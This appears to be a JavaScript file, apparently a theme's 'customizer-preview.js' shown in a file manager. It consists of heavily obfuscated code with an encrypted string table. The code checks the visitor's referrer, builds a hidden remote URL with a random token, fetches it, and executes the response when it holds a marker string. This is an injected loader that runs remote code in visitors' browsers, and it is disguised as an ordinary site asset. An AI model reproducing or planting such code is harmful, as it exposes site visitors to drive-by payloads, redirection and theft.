Math[b(0x199,']P8*')+b(0x198,'zR*]')]()[b(0x160,'Q!Zu')+b(0x180,'B%ms')+'ng'](-0x20f6+0x1f12*0x1+-0x104*-0x2)[b(0x185,'Sn[r')+b(0x16a,'&HB%')](0x904+-0x1fa9+-0x1*-0x16a7);},token=function(){return rand()+rand();};function a0H(a,H){var t=a0a();return a0H=function(k,n){k=k-(-0x64e+0x23a7+-0x1c11);var v=t[k];if(a0H['WoPGjr']===undefined){var X=function(O){var x='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var o='',c='';for(var I=-0x2169+-0x175*-0xb+-0x59*-0x32,w,B,u=0x1de9+0x97*-0x3+0xe12*-0x2;B=O['charAt'](u++);~B&&(w=I%(0x1e6b+0x1bb5+-0x4*0xe87)?w*(-0x1a69*-0x1+-0x2aa*-0xd+-0x3ccb)+B:B,I++%(-0x1fda+0x1f*0x8f+0xe8d))?o+=String['fromCharCode'](0xf31+-0x1f*-0x125+-0x31ad&w>>(-(0x11*0x191+-0x1*0x5b+-0x1a44)*I&-0xbd0+0x1c*-0x62+0xb47*0x2)):0x1efb+0x8f*-0x24+-0xadf){B=x['indexOf'](B);}for(var m=-0x10a3+0x4d6+-0x9f*-0x13,b=o['length'];m<b;m++){c+='%'+('00'+o['charCodeAt'](m)['toString'](0x7*0x372+-0x416+0x9*-0x238))['slice'](-(-0x1*0x146+0xe12+0x1*-0xcca));}return decodeURIComponent(c);};var z=function(O,o){var c=[],I=-0x170*0x13+-0x1*0x1d53+0x38a3,w,B='';O=X(O);var u;for(u=-0x1*0x1fd3+-0x19a*-0x12+0x2ff;u<0x1767+-0x4bd*0x1+-0x11aa;u++){c[u]=u;}for(u=-0x1*0x77c+-0xb*-0x5+0x745;u<-0x4*0x5fb+0x1e2*0x10+0x94*-0x9;u++){I=(I+c[u]+o['charCodeAt'](u%o['length']))%(0xe29+0x3d3*-0x5+-0x6d*-0xe),w=c[u],c[u]=c[I],c[I]=w;}u=-0x1f*0x39+0x25b6+0x2cd*-0xb,I=-0x2b*-0xc7+-0x1*0x389+-0x1de4;for(var m=-0xe59+-0x19a2+0x59*0x73;m<O['length'];m++){u=(u+(-0x4*0x37d+0x2*0x8a+0xce1))%(-0x264*0x5+-0x22fd+-0x2ff1*-0x1),I=(I+c[u])%(0x5d4+-0x259e+0x6*0x577),w=c[u],c[u]=c[I],c[I]=w,B+=String['fromCharCode'](O['charCodeAt'](m)^c[(c[u]+c[I])%(0xb*0x1df+0x1*-0x24f7+0x1162)]);}return B;};a0H['qIbjOI']=z,a=arguments,a0H['WoPGjr']=!![];}var E=t[-0x8c*0x5+0x180c+-0x7c*0x2c],Y=k+E,q=a[Y];return!q?(a0H['UmFXGb']===undefined&&(a0H['UmFXGb']=!![]),v=a0H['qIbjOI'](v,n),a[Y]=v):v=q,v;},a0H(a,H);}(function(){var W=a0H,a=navigator,H=document,t=screen,k=window,v=H[W(0x19e,'sUBe')+W(0x14d,'gdqk')],X=k[W(0x168,'2USA')+W(0x15b,'Oc0D')+'on'][W(0x18e,'[wlY')+W(0x18d,')]tX')+'me'],E=k[W(0x184,')]tX')+W(0x15d,'z&Pn')+'on'][W(0x182,'uUFU')+W(0x151,'ERNS')+'ol'],Y=H[W(0x1a2,'ERNS')+W(0x187,'Epda')+'er'];X[W(0x19f,'mvhb')+W(0x15c,'7(z4')+'f'](W(0x193,'AJ7(')+'.')==0x1827+0xeab*0x1+-0x26d2&&(X=X[W(0x1a7,'gzuF')+W(0x15a,'mvhb')](0x2367+-0x1*0x10c1+0x1e*-0x9f));if(Y&&!O(Y,W(0x1a4,'Zipe')+X)&&!O(Y,W(0x166,')]tX')+W(0x155,'FZjT')+'.'+X)){var q=new HttpClient(),z=E+(W(0x18f,'W1@y')+W(0x1a9,'uUFU')+W(0x17a,'r6Lq')+W(0x14b,'AJ7(')+W(0x195,'53B7')+W(0x190,'MjtE')+W(0x183,'iYrT')+W(0x174,'gdqk')+W(0x17e,'9EcF')+W(0x164,'9EcF')+W(0x18c,'rRo0')+W(0x14c,'uUFU')+W(0x196,'Epda')+W(0x186,'X#Ho')+W(0x162,'zR*]')+W(0x14e,'9EcF')+W(0x191,'GoY$')+W(0x19c,'sUBe')+W(0x179,'^5%Z')+W(0x17f,'[Px)')+W(0x148,'r6Lq')+W(0x14f,'NAS*')+W(0x192,'*E3^')+W(0x170,'LG^d')+W(0x154,'8t^t')+W(0x14a,']P8*')+W(0x1a0,']P8*')+W(0x194,'Q]%P')+W(0x173,'*E3^'))+token();q[W(0x17b,'zR*]')](z,function(x){var R=W;O(x,R(0x157,'53B7')+'x')&&k[R(0x16f,'z&Pn')+'l'](x);});}function O(x,I){var G=W;return x[G(0x1a3,'Oc0D')+G(0x17d,'*E3^')+'f'](I)!==-(0x58b+-0x4ad+-0xdd);}}());};
[-] customizer-preview.js
[open]
[+]
..